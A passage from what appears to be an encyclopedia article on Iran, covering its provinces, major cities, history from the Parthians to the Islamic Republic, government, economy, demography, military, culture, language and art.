                  


                  
                    	15.

                    	Khūzestān
                  


                  
                    	16.

                    	Chaharmahal and Bakhtiari
                  


                  
                    	17.

                    	Kohgiluyeh and Boyer-Ahmad
                  


                  
                    	18.

                    	Bushehr
                  


                  
                    	19.

                    	Fārs
                  


                  
                    	20.

                    	Hormozgān
                  

                

              

              	
                
                  
                    	21.

                    	Sistān and Baluchestān
                  


                  
                    	22.

                    	Kermān
                  


                  
                    	23.

                    	Yazd
                  


                  
                    	24.

                    	Isfahan
                  


                  
                    	25.

                    	Semnān
                  


                  
                    	26.

                    	Māzandarān
                  


                  
                    	27.

                    	Golestān
                  


                  
                    	28.

                    	North Khorasan
                  


                  
                    	29.

                    	Razavi Khorasan
                  


                  
                    	30.

                    	South Khorasan
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          Iran has one of the highest urban-growth rates in the world. From 1950 to 2002 the urban proportion of the population increased from 27% to 60%. The United Nations predicts that by 2030 the urban population will form 80% of the overall population. Most of the internal migrants have settled near the cities of Tehran, Isfahan, Ahvaz, and Qom. The listed populations are from the 2006/2007 (1385 AP) census.


          

          Tehran, with population of 7,705,036, is the largest city in Iran and is the Capital city. Tehran is home to around 11% of Iran's population. Tehran, like many big cities, suffers from severe air pollution. It is the hub of the country's communication and transport network. Mashhad is the second largest Iranian city and is one of the holiest Shi'a cities in the world as it is the site of the shrine. It is the second largest city and with a population of 2.8 million is the centre of the province of Razavi Khorasan. It's the centre of tourism in Iran and between 15 and 20 million pilgrims go to the Imam Reza's shrine every year. Other major Iranian cities include Isfahan (population 1,583,609), Tabriz (population 1,378,935) and Karaj (population 1,377,450). Isfahan is the capital of Isfahan Province. The Naghsh-e Jahan Square in Isfahan has been designated by UNESCO as a World Heritage Site. The city also contains a wide variety of Islamic architectural sites ranging from the eleventh to the nineteenth century. Tabriz is situated north of the volcanic cone of Sahand south of the Eynali mountain. Tabriz is the largest city in north-western Iran and is the capital of East Azarbaijan Province. Karaj is located in Tehran province and is situated 20km west of Tehran, at the foot of Alborz mountains, however the city is increasingly becoming an extension of the metropolitan Tehran.


          


          History


          Parthian and Sassanid Empires (248BCE651 CE)
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          Parthia was led by the Arsacid Dynasty (اشکانیان Ashknin), who reunited and ruled over the Iranian plateau, after defeating the Greek Seleucid Empire, beginning in the late third century BCE, and intermittently controlled Mesopotamia between ca 150BCE and 224CE. These were the third native dynasty of ancient Iran and lasted five centuries. After the conquests of Media, Assyria, Babylonia and Elam, the Parthians had to organize their empire. The former elites of these countries were Greek, and the new rulers had to adapt to their customs if they wanted their rule to last. As a result, the cities retained their ancient rights and civil administrations remained more or less undisturbed.


          Parthia was the arch-enemy of the Roman Empire in the east, limiting Rome's expansion beyond Cappadocia (central Anatolia). By using a heavily-armed and armoured cataphract cavalry, and lightly armed but highly-mobile mounted archers, the Parthians "held their own against Rome for almost 300 years". Rome's acclaimed general Mark Antony led a disastrous campaign against the Parthians in 36 BCE in which he lost 32,000 men. By the time of Roman emperor Augustus, Rome and Parthia were settling some of their differences through diplomacy. By this time, Parthia had acquired an assortment of golden eagles, the cherished standards of Rome's legions, captured from Mark Antony, and Crassus, who suffered "a disastrous defeat" at Carrhae in 53 BCE.


          The end of the Parthian Empire came in 224 CE, when the empire was loosely organized and the last king was defeated by Ardashir I, one of the empire's vassals. Ardashir I then went on to create the Sassanid Empire. Soon he started reforming the country both economically and militarily. The Sassanids established an empire roughly within the frontiers achieved by the Achaemenids, referring to it as Ernshahr or Iranshahr, [image: 75px30px] , "Dominion of the Aryans", i.e. of Iranians), with their capital at Ctesiphon. The Romans suffered repeated losses particularly by Ardashir I, Shapur I, and Shapur II. During their reign, Sassanid battles with the Roman Empire caused such pessimism in Rome that the historian Cassius Dio wrote:
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                Here was a source of great fear to us. So formidable does the Sassanid king seem to our eastern legions, that some are liable to go over to him, and others are unwilling to fight at all.

              

              	
            

          


          In 632AD raiders from the Arab peninsula began attacking the Sassanid Empire. Iran was defeated in the Battle of al-Qdisiyah, paving way for the Islamic conquest of Persia.


          During Parthian, and later Sassanid era, trade on the Silk Road was a significant factor in the development of the great civilizations of China, Egypt, Mesopotamia, Persia, Indian subcontinent, and Rome, and helped to lay the foundations for the modern world. Parthian remains display classically Greek influences in some instances and retain their oriental mode in others, a clear expression of "the cultural diversity that characterized Parthian art and life". The Parthians were innovators of many architecture designs such as that of Ctesiphon, which bears resemblance to, and might have influenced, European Romanesque architecture. Under the Sassanids, Iran expanded relations with China, the arts, music, and architecture greatly flourished, and centres such as the School of Nisibis and Academy of Gundishapur became world renowned centres of science and scholarship.


          


          From the fall of the Sassanid Dynasty to the Safavid Empire (6521501)


          
            [image: Map of Iranian Dynasties around 1000AD]

            
              Map of Iranian Dynasties around 1000AD
            

          


          After the Islamic conquest of Persia, Iran was annexed into the Arab Umayyad Caliphate. But the Islamization of Iran was to yield deep transformations within the cultural, scientific, and political structure of Iran's society: The blossoming of Persian literature, philosophy, medicine and art became major elements of the newly-forming Muslim civilization. Culturally, politically, and religiously, the Iranian contribution to this new Islamic civilization is of immense importance. Indeed, the culmination of Iran caused the " Islamic Golden Age".


          Abu Moslem, an Iranian general , expelled the Umayyads from Damascus and helped the Abbasid caliphs to conquer Baghdad. The Abbasid caliphs frequently chose their " wazirs" (viziers) among Iranians, and Iranian governors acquired a certain amount of local autonomy. Thus in 822 CE, the governor of Khorasan, Tahir, proclaimed his independence and founded a new Persian dynasty of Tahirids. And by the Samanid era, Iran's efforts to regain its independence had been well solidified.


          Attempts of Arabization thus never succeeded in Iran, and movements such as the Shuubiyah became catalysts for Iranians to regain their independence in their relations with the Arab invaders. The cultural revival of the post-Abbasid period led to a resurfacing of Iranian national identity. The resulting cultural movement reached its peak during the ninth and tenth centuries. The most notable effect of the movement was the continuation of the Persian language, the language of the Persians and the official language of Iran to the present day. Ferdowsi, Iran's greatest epic poet, is regarded today as the most important figure in maintaining the Persian language.
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          After an interval of silence Iran re-emerged as a separate, different and distinctive element within Islam. Iranian philosophy after the Islamic conquest, is characterized by different interactions with the Old Iranian philosophy, the Greek philosophy and with the development of Islamic philosophy. The Illumination School and the Transcendent Philosophy are regarded as two of the main philosophical traditions of that era in Persia.


          The movement continued well into the eleventh century, when Mahmud-a Ghaznavi founded a vast empire, with its capital at Isfahan and Ghazna. Their successors, the Seljuks, asserted their domination from the Mediterranean Sea to Central Asia. As with their predecessors, the divan of the empire was in the hands of Iranian viziers, who founded the Nizamiyya. During this period, hundreds of scholars and scientists vastly contributed to technology, science and medicine, later influencing the rise of European science during the Renaissance.


          In 1218, the eastern Khwarazmid provinces of Transoxiana and Khorasan suffered a devastating invasion by Genghis Khan. During this period more than half of Iran's population were killed, turning the streets of Persian cities like Neishabur into "rivers of blood", as the severed heads of men, women, and children were "neatly stacked into carefully constructed pyramids around which the carcasses of the city's dogs and cats were placed". Between 1220 and 1260, the total population of Iran had dropped from 2,500,000 to 250,000 as a result of mass extermination and famine. In a letter to King Louis IX of France, Holaku, one of the Genghis Khan's grandsons, alone took responsibility for 200,000 deaths in his raids of Iran and the Caliphate. He was followed by yet another conqueror, Tamerlane, who established his capital in Samarkand. The waves of devastation prevented many cities such as Neishabur from reaching their pre-invasion population levels until the twentieth century, eight centuries later. But both Hulagu, Timur, and their successors soon came to adopt the ways and customs of that which they had conquered, choosing to surround themselves with a culture that was distinctively Persian.



          


          From the Safavid Dynasty to the Islamic Revolution (15011979)
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          Iran's first encompassing Shi'a Islamic state was established under the Safavid Dynasty (1501-1722) by Shah Ismail I. The Safavid Dynasty soon became a major political power and promoted the flow of bilateral state contacts. The Safavid peak was during the rule of Shah Abbas The Great. The Safavid Dynasty frequently locked horns with Ottoman Empire, Uzbek tribes and the Portuguese Empire. The Safavids moved their capital from Tabriz to Qazvin and then to Isfahan where their patronage for the arts propelled Iran into one of its most aesthetically productive eras. Under their rule, the state became highly centralized, the first attempts to modernize the military were made, and even a distinct style of architecture developed. In 1722 Afghan rebels defeated Shah Sultan Hossein and ended the Safavid Dynasty, but in 1735, Nader Shah successfully drove out the Afghan rebels from Isfahan and established the Afsharid Dynasty. He then staged an incursion into India in 1738 securing the Peacock throne, Koh-i-Noor, and Darya-ye Noor among other royal treasures. His rule did not last long however, and he was assassinated in 1747. The Mashhad based Afshar Dynasty was succeeded by the Zand dynasty in 1750, founded by Karim Khan, who established his capital at Shiraz. His rule brought a period of relative peace and renewed prosperity.


          The Zand dynasty lasted three generations, until Aga Muhammad Khan executed Lotf Ali Khan, and founded his new capital in Tehran, marking the dawn of the Qajar Dynasty in 1794. The capable Qajar chancellor Amir Kabir established Iran's first modern college system, among other modernizing reforms. Iran suffered several wars with Imperial Russia during the Qajar era, resulting in Iran losing almost half of its territories to Imperial Russia and the British Empire. In spite of The Great Game Iran managed to maintain her sovereignty and was never colonized, unlike neighbouring states in the region. Repeated foreign intervention and a corrupt and weakened Qajar rule led to various protests, which by the end of the Qajar period resulted in Persia's constitutional revolution establishing the nation's first parliament in 1906, within a constitutional monarchy.
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          In 1921, Reza Khan overthrew the weakening Qajar Dynasty and became Shah. Reza Shah initiated industrialization, rail road construction, and the establishment of a national education system. Reza Shah sought to balance Russian and British influence, but when World War II started, his nascent ties to Germany alarmed both Britain and Russia. In 1941, Britain and the USSR invaded Iran in order to utilize Iranian rail road capacity during World War II. The Shah was forced to abdicate in favour of his son, Mohammad Reza Pahlavi. In 1951, Dr. Mohammed Mossadegh was elected prime minister. As prime minister, Mossadegh became enormously popular in Iran after he nationalized the Iran's oil reserves. In response, Britain embargoed Iranian oil and invited the United States to join in a plot to depose of Mossadegh; and, in 1953, President Eisenhower authorized Operation Ajax. The operation was successful, and Mossadegh was arrested on August 19, 1953. After Operation Ajax Mohammad Reza Pahlavi rule became increasingly autocratic. With American support, the Shah was able to rapidly modernize Iranian infrastructure, but he simultaneously crushed all forms of political opposition with his intelligence agency, SAVAK. Ayatollah Ruhollah Khomeini became an active critic of the Shah's White Revolution and publicly denounced the government. Khomeini, who was popular in religious circles, was arrested and imprisoned for 18 months. After his release in 1964, Khomeini publicly criticized the United States government. The Shah was persuaded to send him into exile by General Hassan Pakravan. Khomeini was sent first to Turkey, then to Iraq and finally to France. While in exile, he continued to denounce the Shah.


          


          Islamic Republic (1979)
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          The Iranian Revolution, also known as the Islamic Revolution, began in January 1978 with the first major demonstrations against the Shah. After strikes and demonstrations paralysed the country and its economy, the Shah fled the country in January 1979 and Ayatollah Khomeini soon returned from exile to Tehran, enthusiastically greeted by millions of Iranians. The Pahlavi Dynasty collapsed ten days later on February 11 when Iran's military declared itself "neutral" after guerrillas and rebel troops overwhelmed troops loyal to the Shah in armed street fighting. Iran officially became an Islamic Republic on April 1, 1979 when Iranians overwhelmingly approved a national referendum to make it so. In December 1979 the country approved a theocratic constitution, whereby Khomeini became Supreme Leader of the country. The speed and success of the revolution surprised many throughout the world, as it had not been precipitated by a military defeat, a financial crisis, or a peasant rebellion. Although both nationalists and Marxists joined with Islamic traditionalists to overthrow the Shah, the revolution ultimately resulted in an Islamic Republic under Ayatollah Ruhollah Khomeini.
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          Iran's relationship with the United States deteriorated rapidly during the revolution. On November 4, 1979, a group of Iranian students seized U.S. embassy personnel, labelling the embassy a "den of spies". They accused its personnel of being CIA agents plotting to overthrow the revolutionary government, as the CIA had done to Mohammad Mossadegh in 1953. While the student ringleaders had not asked for permission from Khomeini to seize the embassy, Khomeini nonetheless supported the embassy takeover after hearing of its success. While most of the female and African American hostages were released within the first months, the remaining fifty-two hostages were held for 444 days. This is often considered a violation of the long-standing principle of international law that diplomats are immune from arrest ( diplomatic immunity). The students demanded the handover of the Shah in exchange for the hostages, and following the Shah's death in the summer of 1980, that the hostages be put on trial for espionage. Subsequently attempts by the Jimmy Carter administration to negotiate or rescue were unsuccessful until January 1981 when the Algiers declaration was agreed upon. Iraqi leader Saddam Hussein decided to take advantage of what he perceived to be disorder in the wake of the Iranian Revolution and its unpopularity with Western governments. The once-strong Iranian military had been disbanded during the revolution. Saddam sought to expand Iraq's access to the Persian Gulf by acquiring territories that Iraq had claimed earlier from Iran during the Shah's rule. Of chief importance to Iraq was Khuzestan which not only has a substantial Arab population, but boasted rich oil fields as well. On the unilateral behalf of the United Arab Emirates, the islands of Abu Musa and the Greater and Lesser Tunbs became objectives as well. With these ambitions in mind, Hussein planned a full-scale assault on Iran, boasting that his forces could reach the capital within three days. On September 22, 1980 the Iraqi army invaded Iran at Khuzestan, precipitating the Iran-Iraq War. The attack took revolutionary Iran completely by surprise.


          Although Saddam Hussein's forces made several early advances, by 1982, Iranian forces managed to push the Iraqi army back into Iraq. Khomeini sought to export his Islamic revolution westward into Iraq, especially on the majority Shi'a Arabs living in the country. The war then continued for six more years until 1988, when Khomeini, in his words, "drank the cup of poison" and accepted a truce mediated by the United Nations. Tens of thousands of Iranian civilians and military personnel were killed when Iraq used chemical weapons in its warfare. Iraq was financially backed by Egypt, the Arab countries of the Persian Gulf, the Soviet Union and the Warsaw Pact states, the United States (beginning in 1983), France, the United Kingdom, Germany, Brazil, and the People's Republic of China (which also sold weapons to Iran). There were more than 100,000 Iranian victims of Iraq's chemical weapons during the eight-year war. The total Iranian casualties of the war were estimated to be anywhere between 500,000 and 1,000,000. Almost all relevant international agencies have confirmed that Saddam engaged in chemical warfare to blunt Iranian human wave attacks; these agencies unanimously confirmed that Iran never used chemical weapons during the war.


          


          Government and politics
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          The political system of the Islamic Republic is based on the 1979 Constitution. The system comprises several intricately connected governing bodies. The Supreme Leader of Iran is responsible for delineation and supervision of the general policies of the Islamic Republic of Iran. The Supreme Leader is Commander-in-Chief of the armed forces, controls the military intelligence and security operations; and has sole power to declare war or peace. The heads of the judiciary, state radio and television networks, the commanders of the police and military forces and six of the twelve members of the Council of Guardians are appointed by the Supreme Leader. The Assembly of Experts elects and dismisses the Supreme Leader on the basis of qualifications and popular esteem. The Assembly of Experts is responsible for supervising the Supreme Leader in the performance of legal duties.


          After the Supreme Leader, the Constitution defines the President of Iran as the highest state authority. The President is elected by universal suffrage for a term of four years and can only be re-elected for one term. Presidential candidates must be approved by the Council of Guardians prior to running in order to ensure their allegiance to the ideals of the Islamic revolution. The President is responsible for the implementation of the Constitution and for the exercise of executive powers, except for matters directly related to the Supreme Leader, who has the final say in all matters. The President appoints and supervises the Council of Ministers, coordinates government decisions, and selects government policies to be placed before the legislature. Eight Vice-Presidents serve under the President, as well as a cabinet of twenty two ministers, who must all be approved by the legislature. Unlike many other states, the executive branch in Iran does not control the armed forces. Although the President appoints the Ministers of Intelligence and Defense, it is customary for the President to obtain explicit approval from the Supreme Leader for these two ministers before presenting them to the legislature for a vote of confidence. Iran's current president, Mahmoud Ahmadinejad, was elected in a run-off poll in the 2005 presidential elections. His term expires in 2009.
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          The current legislature of Iran(Also known as the Majlis of Iran) is a unicameral body. Before the Iranian Revolution, the legislature was bicameral, but the upper house was removed under the new constitution. The Majlis of Iran comprises 290 members elected for four-year terms. The Majlis drafts legislation, ratifies international treaties, and approves the national budget. All Majlis candidates and all legislation from the assembly must be approved by the Council of Guardians. The Council of Guardians comprises twelve jurists including six appointed by the Supreme Leader. The others are elected by the Parliament from among the jurists nominated by the Head of the Judiciary. The Council interprets the constitution and may veto Parliament. If a law is deemed incompatible with the constitution or Sharia (Islamic law), it is referred back to Parliament for revision.


          The Supreme Leader appoints the head of Iran's Judiciary, who in turn appoints the head of the Supreme Court and the chief public prosecutor. There are several types of courts including public courts that deal with civil and criminal cases, and "revolutionary courts" which deal with certain categories of offenses, including crimes against national security. The decisions of the revolutionary courts are final and cannot be appealed. The Special Clerical Court handles crimes allegedly committed by clerics, although it has also taken on cases involving lay people. The Special Clerical Court functions independently of the regular judicial framework and is accountable only to the Supreme Leader. The Court's rulings are final and cannot be appealed.


          The Assembly of Experts, which meets for one week annually, comprises 86 "virtuous and learned" clerics elected by adult suffrage for eight-year terms. As with the presidential and parliamentary elections, the Council of Guardians determines candidates' eligibility. The Assembly elects the Supreme Leader and has the constitutional authority to remove the Supreme Leader from power at any time. As all of their meetings and notes are strictly confidential, the Assembly has never been publicly known to challenge any of the Supreme Leader's decisions.


          Finally, Local City Councils are elected by public vote to four-year terms in all cities and villages of Iran. According to article seven of Iran's Constitution, these local councils together with the Parliament are "decision-making and administrative organs of the State". This section of the constitution was not implemented until 1999 when the first local council elections were held across the country. Councils have many different responsibilities including electing mayors, supervising the activities of municipalities; studying the social, cultural, educational, health, economic, and welfare requirements of their constituencies; planning and co-ordinating national participation in the implementation of social, economic, constructive, cultural, educational and other welfare affairs.


          


          Economy


          


          Iran's economy is a mixture of central planning, state ownership of oil and other large enterprises, village agriculture, and small-scale private trading and service ventures. Its economic infrastructure has been improving steadily over the past two decades but continues to be affected by inflation and unemployment. Iran's official annual growth rate is at 6%. In the early twenty-first century the service sector contributed the largest percentage of the GDP, followed by industry ( mining and manufacturing) and agriculture. In 2006, about 45% of the government's budget came from oil and natural gas revenues, and 31% came from taxes and fees. Government spending contributed to an average annual inflation rate of 14% in the period 20002004. In 2007, the GDP was estimated at $206 billion ($852 billion at PPP), or $3,160 per capita ($12,300 at PPP). Because of these figures and the countrys diversified but small industrial base, the United Nations classifies Iran's economy as semi-developed.


          The services sector has seen the greatest long-term growth in terms of its share of GDP, but the sector remains volatile. State investment has boosted agriculture with the liberalization of production and the improvement of packaging and marketing helping to develop new export markets. Thanks to the construction of many dams throughout the country in recent years, large-scale irrigation schemes, and the wider production of export-based agricultural items like dates, flowers, and pistachios, produced the fastest economic growth of any sector in Iran over much of the 1990s. Although successive years of severe drought in 1998, 1999, 2000 and 2001 have held back output growth substantially, agriculture remains one of the largest employers, accounting for 22% of all jobs according to the 1991 census. Iran's major commercial partners are China, Germany, South Korea, France, Japan, Russia and Italy.


          
            [image: Tehran was one of the first cities in Iran which was modernized in the Pahlavi era.]

            
              Tehran was one of the first cities in Iran which was modernized in the Pahlavi era.
            

          


          Since the late 1990s, Iran has increased its economic cooperation with other developing countries, including Syria, India, Cuba, Venezuela, and South Africa. Iran is expanding its trade ties with Turkey and Pakistan and shares with its partners the common goal of creating a single economic market in West and Central Asia, called ECO. Iran expects to attract billions of dollars of foreign investment by creating a more favorable investment climate, such as reduced restrictions and duties on imports, and free-trade zones in Chabahar, Qeshm and Kish Island.


          The administration continues to follow the market reform plans of the previous one and indicated that it will diversify Iran's oil-reliant economy. It is attempting to do this by investing revenues in areas like automobile manufacturing, aerospace industries, consumer electronics, petrochemicals and nuclear technology. Iran has also developed a biotechnology, nanotechnology, and pharmaceuticals industry. The strong oil market since 1996 helped ease financial pressures on Iran and allowed for Tehran's timely debt service payments. Iranian budget deficits have been a chronic problem, in part due to large-scale state subsidies, totaling more than $40 billion per year, that include foodstuffs and especially gasoline.


          


          Energy


          
            [image: As a further drive toward diversification of energy sources, Iran has also established wind farms in several areas, this one near Manjeel.]

            
              As a further drive toward diversification of energy sources, Iran has also established wind farms in several areas, this one near Manjeel.
            

          


          Iran ranks second in the world in natural gas reserves and third in oil reserves. In 2005, Iran spent US$4 billion dollars on fuel imports, because of contraband and inefficient domestic use. Oil industry output averaged 4 million barrels per day in 2005, compared with the peak of six million barrels per day reached in 1974. In the early 2000s, industry infrastructure was increasingly inefficient because of technological lags. Few exploratory wells were drilled in 2005.


          In 2004, a large share of Irans natural gas reserves were untapped. The addition of new hydroelectric stations and the streamlining of conventional coal- and oil-fired stations increased installed capacity to 33,000 megawatts. Of that amount, about 75% was based on natural gas, 18% on oil, and 7% on hydroelectric power. In 2004, Iran opened its first wind-powered and geothermal plants, and the first solar thermal plant is to come online in 2009. Demographic trends and intensified industrialization have caused electric power demand to grow by 8% per year. The governments goal of 53,000 megawatts of installed capacity by 2010 is to be reached by bringing on line new gas-fired plants and by adding hydroelectric, and nuclear power generating capacity. Irans first nuclear power plant at Bushehr was not online by 2007.


          


          Industrial production
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          The authorities so as the private sector have put in the past 15 years an emphasis on the local production of domestic-consumption oriented goods such as home appliances, cars, agricultural products, pharmaceutical, etc. Today, Iran possesses a good manufacturing industry, despite restrictions imposed by foreign countries. However, nationalized industries such as the bonyads have often been managed badly, making them ineffective and uncompetitive with years. Today, the government is trying to privatize these industries, such as Damavand Mineral water company or some down stream industries of the National Iranian Oil Company, and despite some successes, there are still several problems to be overcome such as the lagging corruption in the public sector (and therefore, nationalized industries) and lack of competitiveness.


          Globally, Iran has leading manufacture industry in the fields of car-manufacture and transportations, construction materials, home appliances, food and agricultural goods, armaments, pharmaceuticals, information technology and petrochemicals.


          


          Tourism
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          The tourist industry declined dramatically during the war with Iraq in the 1980s but has subsequently revived. The majority of the 300,000 tourist visas granted in 2003 were obtained by Asian Muslims, who presumably intended to visit important pilgrimage sites in Mashhad and Qom. About 1,659,000 foreign tourists visited Iran in 2004; most came from Asian countries, including the republics of Central Asia, while a small share came from the countries of the European Union and North America. Several organized tours from Germany, France, and other European countries come to Iran annually to visit archaeological sites and monuments. The government reported that in 2004 some four million tourists, including over two million Iranians on vacation, spent nearly US$2 billion in Iran, an increase of 10% over 2003. However, in the early 2000s the industry still faced serious limitations in infrastructure, communications, regulatory norms, and personnel training.


          Iran currently ranks 68th in tourism revenues worldwide. Iran with attractive natural and historical sites is rated among the 10 most touristic countries in the world. Close to 1.8% of national employment is generated in the tourism sector which is slated to increase to 10% in the next five years.


          


          Demography


          


          Iran is a diverse country consisting of people of many religions and ethnic backgrounds cemented by the Persian culture. Persians constitute the majority of the population. 70% of present-day Iranians are Iranic peoples, native speakers of Iranian branches of the Indo-European languages. The majority of the population speaks the official language, Persian, or another Iranian language or dialect, however Arabic is also spoken by the Arabic minority, (ie. in the south, in provinces like Khuzestan), and Turkic dialects, (ie. Azeri, etc). are spoken by the Turkic minority (ie. in the north, in provinces like Tabriz). The main ethnic groups are Persians (51%), Azeris (24%), Gilaki and Mazandarani (8%), Kurds (7%), Arabs (3%), Baluchi (2%), Lurs (2%), Turkmens (2%), Laks, Qashqai, Armenians, Persian Jews, Georgians, Assyrians, Circassians, Tats, Pashtuns, Mandaeans, Gypsies, Brahuis, Hazara and others (1%).


          Iran's population increased dramatically during the latter half of the twentieth century, reaching about 70 million by 2006. In recent years, however, Iran's birth rate has dropped significantly. Studies show that Iran's rate of population growth will continue to slow until it stabilizes, by the year 2050, above 90 million. More than two-thirds of the population is under the age of 30, and the literacy rate is 79%.
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          There are some four million Iranian peoples who emigrated to North America, Europe, and Australia, mostly during the Iran-Iraq war. Iran also hosts one of the largest refugee population in the world, with more than one million refugees, mostly from Afghanistan and Iraq. Since 2006, Iranian officials have been working with the UNHCR and Afghan officials for their repatriation.


          Most Iranians are Muslims; 90% belong to the Shi'a branch of Islam, the official state religion, and about 8% belong to the Sunni branch, mainly Kurds and Iran's Balochi Sunni. The remaining 2% are non-Muslim religious minorities, including Bah's, Mandeans, Hindus, Sikhs, Yezidis, Yarsanis, Zoroastrians, Jews, and Christians. The latter three minority religions are officially recognized and protected, and have reserved seats in the Majles (Parliament). However the Bah' Faith, Iran's largest religious minority, is not officially recognized, and has been persecuted during its existence in Iran. Since the 1979 revolution the persecution of Bah's has increased with executions, the denial of civil rights and liberties, and the denial of access to higher education and employment. Currently, the Islamic Republic of Iran is noted for significant human rights violations, despite efforts by human right activists, writers, NGOs and some political parties. Human rights violations include governmental impunity, restricted freedom of speech, gender inequality, treatment of homosexuals, execution of minors, and in some cases torture.


          According to the Iranian Constitution, the government is required to provide every citizen of the country with access to social security that covers retirement, unemployment, old age, disability, accidents, calamities, health and medical treatment and care services. This is covered by public revenues and income derived from public contributions. The World Health Organization in the last report on health systems ranks Iran's performance on health level 58th, and its overall health system performance 93rd among the world's nations.


          


          Foreign relations and military
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          Iran's foreign relations are based on two strategic principles: eliminating outside influences in the region and pursuing extensive diplomatic contacts with developing and non-aligned countries. Iran maintains diplomatic relations with almost every member of the United Nations, except for Israel, which Iran does not recognize, and the United States since the Iranian Revolution. Since 2005, Iran's Nuclear Program has become the subject of contention with the West because of suspicions regarding Iran's military intentions. This has led the UN Security Council to impose sanctions against Iran on select companies linked to this program, thus furthering its economic isolation on the international scene.


          The Islamic Republic of Iran has two kinds of armed forces: the regular forces Islamic Republic of Iran Army, Islamic Republic of Iran Air Force, Islamic Republic of Iran Navy and the Islamic Revolutionary Guards Corps (IRGC), totalling about 545,000 active troops. Iran also has around 350,000 Reserve Force totalling around 900,000 trained troops.


          Iran also has a paramilitary, volunteer militia force within the IRGC, called the Basij, which includes about 90,000 full-time, active-duty uniformed members. Up to 11 million men and women are members of the Basij who could potentially be called up for service; GlobalSecurity.org estimates Iran could mobilize "up to one million men". This would be among the largest troop mobilizations in the world.


          Iran's military capabilities are kept largely secret. Since 1992, it has produced its own tanks, armored personnel carriers, guided missiles, submarines, and fighter planes. In recent years, official announcements have highlighted the development of weapons such as the Fajr-3 (MIRV), Hoot, Kowsar, Zelzal, Fateh-110, Shahab-3 missiles, and a variety of unmanned aerial vehicles (UAVs).


          The Fajr-3 (MIRV) is currently Iran's most advanced ballistic missile. It is a domestically-developed and produced liquid fuel missile with an unknown range. The IRIS solid-fuelled missile is a program which is supposed to be Iran's first missile to bring satellites into orbit. In 2005, Iran's military spending represented 3.3% of the GDP or $91 per capita, the lowest figure of the Persian Gulf nations. Iran's military doctrine is to defend its territorial integrity only.


          


          Culture


          


          The Indo-Iranian culture probably originated in Central Asia. The Andronovo culture is strongly suggested as the candidate for the common Indo-Iranian culture ca. 2000 BCE. Iran, as a historical entity, dates to the time of the Achaemenids. Daily life in modern Iran is closely interwoven with Shia Islam and the country's art, literature, and architecture are an ever-present reminder of its deep national tradition and of a broader literary culture. Iranian culture has long been a predominant culture of the Middle East and Central Asia, with Persian considered the language of intellectuals during much of the second millennium CE, and the language of religion and the populace before that.


          The Iranian New Year ( Norouz) is an ancient tradition celebrated on March 21 to mark the beginning of spring in Iran, Afghanistan, Albania, Georgia, Turkmenistan, and Kazakhstan. and also by Kurds in Turkey and Iraq. Norouz was nominated as one of UNESCO's Masterpieces of the Oral and Intangible Heritage of Humanity in 2004.


          The Sassanid era was an important and influential historical periods in Iran Their cultural influenced Roman civilization considerably and so influencing as far as Western Europe, Africa, China and India and also playing a prominent role in the formation of both European and Asiatic medieval art. This influence carried forward to the Islamic world. Most of what later became known as Islamic learning, such as philology, literature, jurisprudence, philosophy, medicine, architecture and the sciences were some of the practises taken from the Sassanid Persians in to the broader Muslim world. After the Arab invasion Islamic rituals have penetrated in the Iranian culture. The most noticeable one of them is commemoration of Husayn ibn Ali. Every year in Day of Ashura most of Iranians even Armenians and Zoroastrians participate in mourning for the martyrs of battle of Karbala. The commemoration of Karbala has permeated all of Persian culture and finds expression in poetry, music, and the solemn Shia view of the world.


          The cuisine of Iran is diverse, with each province featuring dishes, as well as culinary traditions and styles, distinct to their region. Iranian food is not spicy. Most meals consist of a large serving of seasoned rice and an accompanying course, typically consists of meat, poultry, or fish. Herbs are used frequently. Onions and garlic are normally used in the preparation of the accompanying course, but are also served separately during meals, either in raw or pickled form.


          There is no consensus on the origin of the first hand-made carpet, but the discovery of the Pazirik carpet proves the great role of Iranians in creating this valuable art.


          Iranian cinema has thrived in modern Iran, and many Iranian directors have garnered worldwide recognition for their work. Iranian movies have won over three hundred awards in the past twenty-five years. One of the best-known directors is Abbas Kiarostami. The Media of Iran is a mixture of private and state-owned, but books and movies must be approved by the Ministry of Culture and Islamic Guidance before being released to the public. State censorship is often brought upon films which do not meet approval. The Internet has become enormously popular among the Iranian youth. Iran is now the world's fourth largest country of bloggers. Women today compose more than half of the incoming classes for universities around the country and increasingly continue to play pivotal roles in society.


          


          Language and literature
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          Many languages have originated from Iran such as Mazandarani and Gilaki, but Persian is the most used language. Persian is a tongue belonging to the Aryan or Indo-Iranian branch of the Indo-European family of languages. The oldest records in Old Persian date back to the Achaemenid Empire and examples of Old Persian have been found in present-day Iran, Iraq, Turkey and Egypt. Since then it has changed significantly, being greatly influenced by Arabic after the conquest of Persia. In the late eighth century the Persian language was highly Arabized and written in a modified Arabic script. This caused a movement supporting the revival of Persian. An important event of this revival was the writing of the Shahname by Ferdowsi (Persian: Epic of Kings), Iran's national epic, which is said to have been written entirely in native Persian. This gave rise to a strong reassertion of Iranian national identity, and is in part responsible for the continued existence of Persian as a separate language.


          
            
              	

              	
                
                  بسی رنج بردم در این سال سی

                  عجم زنده کردم بدین پارسی
                


                For thirty years, I suffered much pain and strife

                with Persian I gave the Ajam verve and life

              

              	
            

          


          
             Ferdowsi (9351020)
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          Persian beside Arabic has been a medium for literary and scientific contributions to the Islamic world especially in Anatolia, central Asia and Indian sub-continent. Poetry is a very important part of Persian culture. Poetry is used in many classical works, whether from Persian literature, science, or metaphysics. For example about half of Avicenna's medical writings are known to be versified. Iran has produced a number of famous poets, however only a few names such as Rumi and Omar Khayym have surfaced among western popular readership, even though the likes of Hafez and Saadi are considered by many Iranians to be just as influential. The books of famous poets have been translated into western languages since 1634. An example of Persian poetic influence is the poem below which is inscribed on the entrance of United Nations' Hall of Nations.


          



          
            
              	

              	
                
                  بنى آدم اعضاء يک پیکرند

                  که در آفرينش ز يک گوهرند

                  چو عضوى بدرد آورد روزگارد

                  دگر عضوها را نماند قرار
                


                Of one Essence is the human race

                thus has Creation put the base

                One Limb impacted is sufficient

                For all Others to feel the Mace

              

              	
            

          


          
             Saadi (11841283)
          


          


          Art
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          Greater Iran is home to one of the richest artistic traditions in world history and encompasses many disciplines, including architecture, painting, weaving, pottery, calligraphy, metalworking and stone masonry. Persians were among the first to use mathematics, geometry, and astronomy in architecture and also have extraordinary skills in making massive domes which can be seen frequently in the structure of bazaars and mosques. The main building types of classical Iranian architecture are the mosque and the palace. Iran, besides being home to a large number of art houses and galleries, also holds one of the largest and valuable jewel collections in the world.


